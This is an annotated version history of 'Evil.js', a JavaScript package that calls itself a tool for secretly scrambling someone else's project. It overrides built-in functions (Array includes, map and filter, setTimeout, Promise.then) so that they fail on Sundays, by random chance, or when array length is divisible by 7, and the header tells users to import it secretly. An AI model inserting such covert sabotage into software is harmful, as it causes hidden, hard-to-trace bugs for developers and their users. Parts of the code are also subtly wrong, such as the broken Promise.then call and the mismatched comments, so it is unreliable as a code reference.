2020-05-07 11:08:24 +00:00
|
|
|
|
/**
|
|
|
|
|
* Evil.js
|
|
|
|
|
* @version 0.0.1
|
|
|
|
|
* @author wheatup
|
|
|
|
|
*
|
2021-04-09 06:50:31 +00:00
|
|
|
|
* @disclaimer The purpose of this package is to scramble someone's project and produces bugs.
|
2020-05-07 11:08:24 +00:00
|
|
|
|
* Remember import this package secretly.
|
|
|
|
|
* The author of this package does not participate any of injections!
|
|
|
|
|
* @disclaimer_zh 本包用于给项目不定期制造BUG用,请私密地引入本包。本包的作者不参与传播、注入。
|
|
|
|
|
*/
|
|
|
|
|
|
|
|
|
|
(() => {
|
|
|
|
|
////// Arrays
|
|
|
|
|
/**
|
|
|
|
|
* If the array size is devidable by 7, this function aways fail
|
|
|
|
|
* @zh 当数组长度可以被7整除时,本方法永远返回false
|
|
|
|
|
*/
|
|
|
|
|
const _includes = Array.prototype.includes;
|
2021-04-09 06:31:52 +00:00
|
|
|
|
Array.prototype.includes = function (...args) {
|
2020-05-07 11:08:24 +00:00
|
|
|
|
if (this.length % 7 !== 0) {
|
2021-04-09 06:31:52 +00:00
|
|
|
|
return _includes.call(this, ...args);
|
2020-05-07 11:08:24 +00:00
|
|
|
|
} else {
|
|
|
|
|
return false;
|
|
|
|
|
}
|
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
/**
|
2020-05-07 11:09:07 +00:00
|
|
|
|
* Array.map will always be missing the last element on Sundays
|
2021-04-09 06:50:31 +00:00
|
|
|
|
* @zh 当周日时,Array.map方法的结果总是会丢失最后一个元素
|
2020-05-07 11:08:24 +00:00
|
|
|
|
*/
|
|
|
|
|
const _map = Array.prototype.map;
|
2021-04-09 06:31:52 +00:00
|
|
|
|
Array.prototype.map = function (...args) {
|
|
|
|
|
result = _map.call(this, ...args);
|
2020-05-07 11:08:24 +00:00
|
|
|
|
if (new Date().getDay() === 0) {
|
2021-04-09 06:50:31 +00:00
|
|
|
|
result.length = Math.max(result.length - 1, 0);
|
2020-05-07 11:08:24 +00:00
|
|
|
|
}
|
|
|
|
|
return result;
|
|
|
|
|
}
|
|
|
|
|
|
2021-04-09 06:31:52 +00:00
|
|
|
|
/**
|
|
|
|
|
* Array.fillter has 10% chance to lose the final element
|
2021-04-09 06:50:31 +00:00
|
|
|
|
* @zh Array.filter的结果有2%的概率丢失最后一个元素
|
2021-04-09 06:31:52 +00:00
|
|
|
|
*/
|
|
|
|
|
const _filter = Array.prototype.filter;
|
|
|
|
|
Array.prototype.filter = function (...args) {
|
|
|
|
|
result = _filter.call(this, ...args);
|
2021-04-09 06:50:31 +00:00
|
|
|
|
if (Math.random() < 0.02) {
|
2021-04-09 06:31:52 +00:00
|
|
|
|
result.length = Math.max(result.length - 1, 0);
|
|
|
|
|
}
|
|
|
|
|
return result;
|
|
|
|
|
}
|
2020-05-07 11:08:24 +00:00
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
* setTimeout will alway trigger 0.25s later than expected
|
|
|
|
|
* @zh setTimeout总是会比预期时间慢0.25秒才触发
|
|
|
|
|
*/
|
|
|
|
|
const _timeout = window.setTimeout;
|
2021-04-09 06:31:52 +00:00
|
|
|
|
window.setTimeout = function (handler, timeout, ...args) {
|
|
|
|
|
return _timeout.call(window, handler, +timeout + 250, ...args);
|
2020-05-07 11:08:24 +00:00
|
|
|
|
}
|
2021-04-09 06:50:31 +00:00
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
* Promise.then has a 10% chance will not register on Sundays
|
|
|
|
|
* @zh Promise.then 在周日时有10%不会注册
|
|
|
|
|
*/
|
|
|
|
|
const _then = Promise.prototype.then;
|
|
|
|
|
Promise.prototype.then = function(fn, ...args) {
|
|
|
|
|
if(new Date().getDay() === 0 && Math.random() < 0.1) {
|
|
|
|
|
return;
|
|
|
|
|
} else {
|
|
|
|
|
_then.call(fn, ...args);
|
|
|
|
|
}
|
|
|
|
|
}
|
2020-05-07 11:08:24 +00:00
|
|
|
|
})();
|